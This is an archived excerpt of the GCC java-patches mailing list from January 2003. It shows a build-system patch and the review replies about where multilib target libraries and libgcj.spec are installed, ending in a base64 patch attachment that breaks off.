/cvs/gcc/gcc/libf2c/aclocal.m4,v retrieving revision 1.2.2.2 diff -u -p -r1.2.2.2 aclocal.m4 --- libf2c/aclocal.m4 26 Jun 2002 04:15:29 -0000 1.2.2.2 +++ libf2c/aclocal.m4 27 Jan 2003 23:15:05 -0000 @@ -207,11 +207,12 @@ if test x"$glibcpp_toolexecdir" = x"no"; if test -n "$with_cross_host" && test x"$with_cross_host" != x"no"; then glibcpp_toolexecdir='$(exec_prefix)/$(target_alias)' - glibcpp_toolexeclibdir='$(toolexecdir)/lib$(MULTISUBDIR)' + glibcpp_toolexeclibdir='$(toolexecdir)/lib' else glibcpp_toolexecdir='$(libdir)/gcc-lib/$(target_alias)' - glibcpp_toolexeclibdir='$(libdir)$(MULTISUBDIR)' + glibcpp_toolexeclibdir='$(libdir)' fi + glibcpp_toolexeclibdir=$glibcpp_toolexeclibdir/`$CC -print-multi-os-directory` fi AC_SUBST(glibcpp_prefixdir) Index: libffi/ChangeLog from Alexandre Oliva * configure.in (toolexecdir, toolexeclibdir): Set and AC_SUBST. Remove USE_LIBDIR conditional. * Makefile.am (toolexecdir, toolexeclibdir): Don't override. * Makefile.in, configure: Rebuilt. Index: libffi/Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libffi/Makefile.am,v retrieving revision 1.15.2.3.4.1 diff -u -p -r1.15.2.3.4.1 Makefile.am --- libffi/Makefile.am 7 Oct 2002 04:37:02 -0000 1.15.2.3.4.1 +++ libffi/Makefile.am 27 Jan 2003 23:15:06 -0000 @@ -73,15 +73,6 @@ MULTISUBDIR = MULTIDO = true MULTICLEAN = true -## Install a library built with a cross compiler in tooldir, not -## libdir. -if USE_LIBDIR -toolexeclibdir = $(libdir)$(MULTISUBDIR) -else -toolexecdir = $(exec_prefix)/$(target_alias) -toolexeclibdir = $(toolexecdir)/lib$(MULTISUBDIR) -endif - toolexeclib_LTLIBRARIES = libffi.la noinst_LTLIBRARIES = libffi_convenience.la Index: libffi/configure.in =================================================================== RCS file: /cvs/gcc/gcc/libffi/configure.in,v retrieving revision 1.19.2.5 diff -u -p -r1.19.2.5 configure.in --- libffi/configure.in 8 May 2002 04:25:49 -0000 1.19.2.5 +++ libffi/configure.in 27 Jan 2003 23:15:06 -0000 @@ -149,7 +149,17 @@ AC_ARG_ENABLE(purify-safety, AC_DEFINE(USING_PURIFY) fi) -AM_CONDITIONAL(USE_LIBDIR, test -z "$with_cross_host") +if test -n "$with_cross_host" && + test x"$with_cross_host" != x"no"; then + toolexecdir='$(exec_prefix)/$(target_alias)' + toolexeclibdir='$(toolexecdir)/lib' +else + toolexecdir='$(libdir)/gcc-lib/$(target_alias)' + toolexeclibdir='$(libdir)' +fi +toolexeclibdir=$toolexeclibdir/`$CC -print-multi-os-directory` +AC_SUBST(toolexecdir) +AC_SUBST(toolexeclibdir) if test "${multilib}" = "yes"; then multilib_arg="--enable-multilib" Index: libiberty/ChangeLog from Alexandre Oliva * Makefile.in (install_to_tooldir): Instead of $(MULTISUBDIR), use /`$$CC -print-multi-os-directory`. Index: libiberty/Makefile.in =================================================================== RCS file: /cvs/gcc/gcc/libiberty/Makefile.in,v retrieving revision 1.73.6.1 diff -u -p -r1.73.6.1 Makefile.in --- libiberty/Makefile.in 7 Oct 2002 04:37:03 -0000 1.73.6.1 +++ libiberty/Makefile.in 27 Jan 2003 23:15:10 -0000 @@ -1,6 +1,6 @@ # # Makefile -# Copyright (C) 1990, 91-99, 2000, 2001 +# Copyright (C) 1990, 91-99, 2000, 2001, 2003 # Free Software Foundation # # This file is part of the libiberty library. @@ -243,9 +243,9 @@ install_to_libdir: all @$(MULTIDO) $(FLAGS_TO_PASS) multi-do DO=install install_to_tooldir: all - $(INSTALL_DATA) $(TARGETLIB) $(tooldir)/lib$(MULTISUBDIR)/$(TARGETLIB)n - ( cd $(tooldir)/lib$(MULTISUBDIR) ; $(RANLIB) $(TARGETLIB)n ) - mv -f $(tooldir)/lib$(MULTISUBDIR)/$(TARGETLIB)n $(tooldir)/lib$(MULTISUBDIR)/$(TARGETLIB) + $(INSTALL_DATA) $(TARGETLIB) $(tooldir)/lib/`$$CC -print-multi-os-directory`/$(TARGETLIB)n + ( cd $(tooldir)/lib/`$$CC -print-multi-os-directory` ; $(RANLIB) $(TARGETLIB)n ) + mv -f $(tooldir)/lib/`$$CC -print-multi-os-directory`/$(TARGETLIB)n $(tooldir)/lib/`$$CC -print-multi-os-directory`/$(TARGETLIB) @$(MULTIDO) $(FLAGS_TO_PASS) multi-do DO=install # needed-list is used by libstdc++. NEEDED is the list of functions Index: libjava/ChangeLog from Alexandre Oliva * configure.in (toolexecdir, toolexeclibdir): Set and AC_SUBST. Remove USE_LIBDIR conditional. * Makefile.am (toolexecdir, toolexeclibdir): Don't override. * Makefile.in, configure: Rebuilt. Index: libjava/Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.202.2.13.2.1 diff -u -p -r1.202.2.13.2.1 Makefile.am --- libjava/Makefile.am 7 Oct 2002 04:37:03 -0000 1.202.2.13.2.1 +++ libjava/Makefile.am 27 Jan 2003 23:15:13 -0000 @@ -14,15 +14,6 @@ endif ## What gets installed, and where. ## -## Install a library built with a cross compiler in tooldir, not -## libdir. -if USE_LIBDIR -toolexeclibdir = $(libdir)$(MULTISUBDIR) -else -toolexecdir = $(exec_prefix)/$(target_alias) -toolexeclibdir = $(toolexecdir)/lib$(MULTISUBDIR) -endif - if XLIB_AWT cond_x_ltlibrary = libgcjx.la else Index: libjava/configure.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.in,v retrieving revision 1.114.2.16 diff -u -p -r1.114.2.16 configure.in --- libjava/configure.in 8 May 2002 04:26:24 -0000 1.114.2.16 +++ libjava/configure.in 27 Jan 2003 23:15:14 -0000 @@ -771,9 +771,20 @@ AC_SUBST(EXCEPTIONSPEC) AM_CONDITIONAL(CANADIAN, test "$CANADIAN" = yes) AM_CONDITIONAL(NULL_TARGET, test "$NULL_TARGET" = yes) AM_CONDITIONAL(NATIVE, test "$NATIVE" = yes || test "$NULL_TARGET" = yes) -AM_CONDITIONAL(USE_LIBDIR, test -z "$with_cross_host") AM_CONDITIONAL(NEEDS_DATA_START, test "$NEEDS_DATA_START" = yes && test "$NATIVE" = yes) AC_SUBST(GCC_UNWIND_INCLUDE) + +if test -n "$with_cross_host" && + test x"$with_cross_host" != x"no"; then + toolexecdir='$(exec_prefix)/$(target_alias)' + toolexeclibdir='$(toolexecdir)/lib' +else + toolexecdir='$(libdir)/gcc-lib/$(target_alias)' + toolexeclibdir='$(libdir)' +fi +toolexeclibdir=$toolexeclibdir/`$CC -print-multi-os-directory` +AC_SUBST(toolexecdir) +AC_SUBST(toolexeclibdir) AC_SUBST(AM_RUNTESTFLAGS) Index: libobjc/ChangeLog from Alexandre Oliva * aclocal.m4 (glibcpp_toolexeclibdir): Instead of $(MULTISUBDIR), use `$CC -print-multi-os-directory`, unless version_specific_libs is enabled. * configure: Rebuilt. Index: libobjc/aclocal.m4 =================================================================== RCS file: /cvs/gcc/gcc/libobjc/aclocal.m4,v retrieving revision 1.3.2.1 diff -u -p -r1.3.2.1 aclocal.m4 --- libobjc/aclocal.m4 26 Jun 2002 04:15:30 -0000 1.3.2.1 +++ libobjc/aclocal.m4 27 Jan 2003 23:15:16 -0000 @@ -207,11 +207,12 @@ if test x"$glibcpp_toolexecdir" = x"no"; if test -n "$with_cross_host" && test x"$with_cross_host" != x"no"; then glibcpp_toolexecdir='$(exec_prefix)/$(target_alias)' - glibcpp_toolexeclibdir='$(toolexecdir)/lib$(MULTISUBDIR)' + glibcpp_toolexeclibdir='$(toolexecdir)/lib' else glibcpp_toolexecdir='$(libdir)/gcc-lib/$(target_alias)' - glibcpp_toolexeclibdir='$(libdir)$(MULTISUBDIR)' + glibcpp_toolexeclibdir='$(libdir)' fi + glibcpp_toolexeclibdir=$glibcpp_toolexeclibdir/`$CC -print-multi-os-directory` fi AC_SUBST(glibcpp_prefixdir) Index: zlib/ChangeLog.gcj from Alexandre Oliva * configure.in (toolexecdir, toolexeclibdir): Set and AC_SUBST. Remove USE_LIBDIR conditional. * Makefile.am (toolexecdir, toolexeclibdir): Don't override. * Makefile.in, configure: Rebuilt. Index: zlib/Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/zlib/Makefile.am,v retrieving revision 1.7.28.1.4.1 diff -u -p -r1.7.28.1.4.1 Makefile.am --- zlib/Makefile.am 7 Oct 2002 04:37:05 -0000 1.7.28.1.4.1 +++ zlib/Makefile.am 27 Jan 2003 23:15:17 -0000 @@ -10,15 +10,6 @@ MULTISUBDIR = MULTIDO = true MULTICLEAN = true -## Install a library built with a cross compiler in tooldir, not -## libdir. -if USE_LIBDIR -toolexeclibdir = $(libdir)$(MULTISUBDIR) -else -toolexecdir = $(exec_prefix)/$(target_alias) -toolexeclibdir = $(toolexecdir)/lib$(MULTISUBDIR) -endif - ZLIB_SOURCES = adler32.c compress.c crc32.c deflate.c deflate.h \ gzio.c infblock.c infblock.h infcodes.c infcodes.h inffast.c inffast.h \ inffixed.h inflate.c inftrees.c inftrees.h infutil.c infutil.h trees.c \ Index: zlib/configure.in =================================================================== RCS file: /cvs/gcc/gcc/zlib/configure.in,v retrieving revision 1.12.16.1 diff -u -p -r1.12.16.1 configure.in --- zlib/configure.in 8 May 2002 04:28:44 -0000 1.12.16.1 +++ zlib/configure.in 27 Jan 2003 23:15:17 -0000 @@ -113,7 +113,18 @@ AC_SUBST(target_all) AC_CHECK_HEADERS(unistd.h) -AM_CONDITIONAL(USE_LIBDIR, test -z "$with_cross_host") +if test -n "$with_cross_host" && + test x"$with_cross_host" != x"no"; then + toolexecdir='$(exec_prefix)/$(target_alias)' + toolexeclibdir='$(toolexecdir)/lib' +else + toolexecdir='$(libdir)/gcc-lib/$(target_alias)' + toolexeclibdir='$(libdir)' +fi +toolexeclibdir=$toolexeclibdir/`$CC -print-multi-os-directory 2>/dev/null || echo .` +AC_SUBST(toolexecdir) +AC_SUBST(toolexeclibdir) + AM_CONDITIONAL(TARGET_LIBRARY, test -n "$with_target_subdir") if test "${multilib}" = "yes"; then --=-=-= -- Alexandre Oliva Enjoy Guarana', see http://www.ic.unicamp.br/~oliva/ Red Hat GCC Developer aoliva@{redhat.com, gcc.gnu.org} CS PhD student at IC-Unicamp oliva@{lsd.ic.unicamp.br, gnu.org} Free Software Evangelist Professional serial bug killer --=-=-=-- From java-patches-return-5930-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 23:24:46 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28131 invoked by alias); 27 Jan 2003 23:24:45 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28118 invoked from network); 27 Jan 2003 23:24:44 -0000 Received: from unknown (HELO uniton.integrable-solutions.net) (62.212.99.186) by 172.16.49.205 with SMTP; 27 Jan 2003 23:24:44 -0000 Received: from uniton.integrable-solutions.net (localhost [127.0.0.1]) by uniton.integrable-solutions.net (8.12.3/8.12.3/SuSE Linux 0.6) with ESMTP id h0RNOYjj011182; Tue, 28 Jan 2003 00:24:34 +0100 Received: (from gdr@localhost) by uniton.integrable-solutions.net (8.12.3/8.12.3/Submit) id h0RNOXWf011181; Tue, 28 Jan 2003 00:24:33 +0100 X-Authentication-Warning: uniton.integrable-solutions.net: gdr set sender to gdr@integrable-solutions.net using -f To: Alexandre Oliva Cc: Benjamin Kosnik , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: libstdc++ multilibs installed where gcc won't find them References: <20030127103953.18383991.bkoz@redhat.com> From: Gabriel Dos Reis In-Reply-To: Organization: Integrable Solutions Date: 28 Jan 2003 00:24:33 +0100 Message-ID: Lines: 17 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Alexandre Oliva writes: | > I would apprecaite if you could backport the patch to 3.2 to line up all | > affected target libraries with libgcc. | | Here's the back-port of the patch to the 3.2 branch, for your | appreciation. Ok to install, if it builds and installs ok? Yes. This is the latest patch for 3.2.2 I'm accepting today. (I've cut it somewhere or else I would never be able to make a pre-release for testing :-). Thanks a lot. -- Gaby From java-patches-return-5931-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 23:39:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 732 invoked by alias); 27 Jan 2003 23:39:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 720 invoked from network); 27 Jan 2003 23:39:27 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 27 Jan 2003 23:39:27 -0000 Received: from fleche.redhat.com (tq0215.peakpeak.com [207.174.177.215]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA30193; Mon, 27 Jan 2003 16:39:25 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 131684F8073; Mon, 27 Jan 2003 16:34:00 -0700 (MST) To: Alexandre Oliva Cc: Gabriel Dos Reis , Benjamin Kosnik , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: libstdc++ multilibs installed where gcc won't find them References: <20030127103953.18383991.bkoz@redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Now I need a suntan, a tennis lesson, Annette Funicello and two dozen Day-Glo orange paper jumpsuits!! Date: 27 Jan 2003 16:33:59 -0700 In-Reply-To: Message-ID: <87u1fuyxp4.fsf@fleche.redhat.com> Lines: 12 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Alexandre" == Alexandre Oliva writes: Alexandre> As for mainline and 3.3, does any of the maintainers of Alexandre> libf2c, libobjc and libjava object to it? Looks fine to me. The only possible problem I could think of is that gcj looks for libgcj.spec at runtime. This means gcc has to know where the file ends up; see jvspec.c (for an obscure and unhelpful way to see what is going on :-). As long as that and other features continue to work, great. Tom From java-patches-return-5932-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 23:56:57 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10286 invoked by alias); 27 Jan 2003 23:56:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10245 invoked from network); 27 Jan 2003 23:56:56 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 27 Jan 2003 23:56:56 -0000 Received: from fleche.redhat.com (tq0215.peakpeak.com [207.174.177.215]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA01952; Mon, 27 Jan 2003 16:56:54 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 16C204F8073; Mon, 27 Jan 2003 16:51:24 -0700 (MST) To: Alexandre Oliva Cc: Gabriel Dos Reis , Benjamin Kosnik , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: libstdc++ multilibs installed where gcc won't find them References: <20030127103953.18383991.bkoz@redhat.com> <87u1fuyxp4.fsf@fleche.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. I have a VISION! It's a RANCID double-FISHWICH on an ENRICHED BUN!! Date: 27 Jan 2003 16:51:24 -0700 In-Reply-To: Message-ID: <87ptqiyww3.fsf@fleche.redhat.com> Lines: 12 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Alexandre" == Alexandre Oliva writes: >> Looks fine to me. The only possible problem I could think of is that >> gcj looks for libgcj.spec at runtime. Alexandre> Can't possibly be affected. This only affects the install Alexandre> location of libraries. At least that's the theory :-) libgcj.spec is installed in the same directory as libgcj.so, so this patch affects where it is installed. Tom From java-patches-return-5933-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 23:58:23 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11875 invoked by alias); 27 Jan 2003 23:58:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11861 invoked from network); 27 Jan 2003 23:58:22 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 27 Jan 2003 23:58:22 -0000 Received: from nat-pool-rdu.redhat.com ([66.187.233.200] helo=lacrosse.corp.redhat.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18dJ6C-0002Vj-00; Mon, 27 Jan 2003 18:55:32 -0500 Received: from free.redhat.lsd.ic.unicamp.br (aoliva.cipe.redhat.com [10.0.1.10]) by lacrosse.corp.redhat.com (8.11.6/8.9.3) with ESMTP id h0RNsNg21480; Mon, 27 Jan 2003 18:54:23 -0500 Received: from free.redhat.lsd.ic.unicamp.br (localhost.localdomain [127.0.0.1]) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7) with ESMTP id h0RNsKik016635; Mon, 27 Jan 2003 21:54:20 -0200 Received: (from aoliva@localhost) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7/Submit) id h0RNsJ9j016386; Mon, 27 Jan 2003 21:54:19 -0200 To: tromey@redhat.com Cc: Gabriel Dos Reis , Benjamin Kosnik , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: libstdc++ multilibs installed where gcc won't find them References: <20030127103953.18383991.bkoz@redhat.com> <87u1fuyxp4.fsf@fleche.redhat.com> From: Alexandre Oliva Organization: GCC Team, Red Hat Date: 27 Jan 2003 21:54:19 -0200 In-Reply-To: <87u1fuyxp4.fsf@fleche.redhat.com> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Jan 27, 2003, Tom Tromey wrote: >>>>>> "Alexandre" == Alexandre Oliva writes: Alexandre> As for mainline and 3.3, does any of the maintainers of Alexandre> libf2c, libobjc and libjava object to it? > Looks fine to me. The only possible problem I could think of is that > gcj looks for libgcj.spec at runtime. Can't possibly be affected. This only affects the install location of libraries. At least that's the theory :-) -- Alexandre Oliva Enjoy Guarana', see http://www.ic.unicamp.br/~oliva/ Red Hat GCC Developer aoliva@{redhat.com, gcc.gnu.org} CS PhD student at IC-Unicamp oliva@{lsd.ic.unicamp.br, gnu.org} Free Software Evangelist Professional serial bug killer From java-patches-return-5934-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 00:18:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24249 invoked by alias); 28 Jan 2003 00:18:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24234 invoked from network); 28 Jan 2003 00:18:12 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 28 Jan 2003 00:18:12 -0000 Received: from nat-pool-rdu.redhat.com ([66.187.233.200] helo=lacrosse.corp.redhat.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18dJRy-0008CM-00; Mon, 27 Jan 2003 19:18:02 -0500 Received: from free.redhat.lsd.ic.unicamp.br (aoliva.cipe.redhat.com [10.0.1.10]) by lacrosse.corp.redhat.com (8.11.6/8.9.3) with ESMTP id h0S0Gxg25011; Mon, 27 Jan 2003 19:16:59 -0500 Received: from free.redhat.lsd.ic.unicamp.br (localhost.localdomain [127.0.0.1]) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7) with ESMTP id h0S0Gsik011695; Mon, 27 Jan 2003 22:16:54 -0200 Received: (from aoliva@localhost) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7/Submit) id h0S0GsBs011660; Mon, 27 Jan 2003 22:16:54 -0200 To: tromey@redhat.com Cc: Gabriel Dos Reis , Benjamin Kosnik , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: libstdc++ multilibs installed where gcc won't find them References: <20030127103953.18383991.bkoz@redhat.com> <87u1fuyxp4.fsf@fleche.redhat.com> <87ptqiyww3.fsf@fleche.redhat.com> From: Alexandre Oliva Organization: GCC Team, Red Hat Date: 27 Jan 2003 22:16:54 -0200 In-Reply-To: <87ptqiyww3.fsf@fleche.redhat.com> Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Jan 27, 2003, Tom Tromey wrote: >>>>>> "Alexandre" == Alexandre Oliva writes: >>> Looks fine to me. The only possible problem I could think of is that >>> gcj looks for libgcj.spec at runtime. Alexandre> Can't possibly be affected. This only affects the install Alexandre> location of libraries. At least that's the theory :-) > libgcj.spec is installed in the same directory as libgcj.so, so this > patch affects where it is installed. I see. I'll have to test that. Thanks for the heads up. The patch won't go in before a multilib build is completed, installed and tested, anyway. It's almost there, but will still take a while :-( -- Alexandre Oliva Enjoy Guarana', see http://www.ic.unicamp.br/~oliva/ Red Hat GCC Developer aoliva@{redhat.com, gcc.gnu.org} CS PhD student at IC-Unicamp oliva@{lsd.ic.unicamp.br, gnu.org} Free Software Evangelist Professional serial bug killer From java-patches-return-5935-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 01:42:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13878 invoked by alias); 28 Jan 2003 01:42:56 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13860 invoked from network); 28 Jan 2003 01:42:55 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 28 Jan 2003 01:42:55 -0000 Received: from nat-pool-rdu.redhat.com ([66.187.233.200] helo=lacrosse.corp.redhat.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18dKlw-0006jT-00; Mon, 27 Jan 2003 20:42:44 -0500 Received: from free.redhat.lsd.ic.unicamp.br (aoliva.cipe.redhat.com [10.0.1.10]) by lacrosse.corp.redhat.com (8.11.6/8.9.3) with ESMTP id h0S1fWg03072; Mon, 27 Jan 2003 20:41:32 -0500 Received: from free.redhat.lsd.ic.unicamp.br (localhost.localdomain [127.0.0.1]) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7) with ESMTP id h0S1fUik027507; Mon, 27 Jan 2003 23:41:30 -0200 Received: (from aoliva@localhost) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7/Submit) id h0S1fUAC027491; Mon, 27 Jan 2003 23:41:30 -0200 To: tromey@redhat.com Cc: Gabriel Dos Reis , Benjamin Kosnik , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: libstdc++ multilibs installed where gcc won't find them References: <20030127103953.18383991.bkoz@redhat.com> <87u1fuyxp4.fsf@fleche.redhat.com> <87ptqiyww3.fsf@fleche.redhat.com> From: Alexandre Oliva Organization: GCC Team, Red Hat Date: 27 Jan 2003 23:41:29 -0200 In-Reply-To: Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" --=-=-= On Jan 27, 2003, Alexandre Oliva wrote: > On Jan 27, 2003, Tom Tromey wrote: >>>>>>> "Alexandre" == Alexandre Oliva writes: >>>> Looks fine to me. The only possible problem I could think of is that >>>> gcj looks for libgcj.spec at runtime. Alexandre> Can't possibly be affected. This only affects the install Alexandre> location of libraries. At least that's the theory :-) >> libgcj.spec is installed in the same directory as libgcj.so, so this >> patch affects where it is installed. > I see. I'll have to test that. Thanks for the heads up. The patch > won't go in before a multilib build is completed, installed and > tested, anyway. It's almost there, but will still take a while :-( So we had a problem, after all: libgcj.spec is to be installed only in the primary multilib directory. Nothing else will do. It's not searched in multilib subdirectories at all, neither in gcc's multilib conventions nor in the os's multilib conventions, so I just went ahead and introduced toolexecmainlibdir in libjava/configure.in and arranged for libgcj.spec to be installed there. Multilibs will overwrite each other's libgcj.spec, but this is not a problem since we've been using only the libgcj.spec of the default multilib anyway. I'm checking the following patches in 3.2, 3.3 and mainline, respectively. They're only different as far as line numbers go, except for libiberty in 3.2, that required tweaking since it's not DESTDIRified there. --=-=-= Content-Type: application/x-bzip2 Content-Disposition: attachment; filename=libs-in-multi-os-dir.patch.bz2 Content-Transfer-Encoding: base64 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 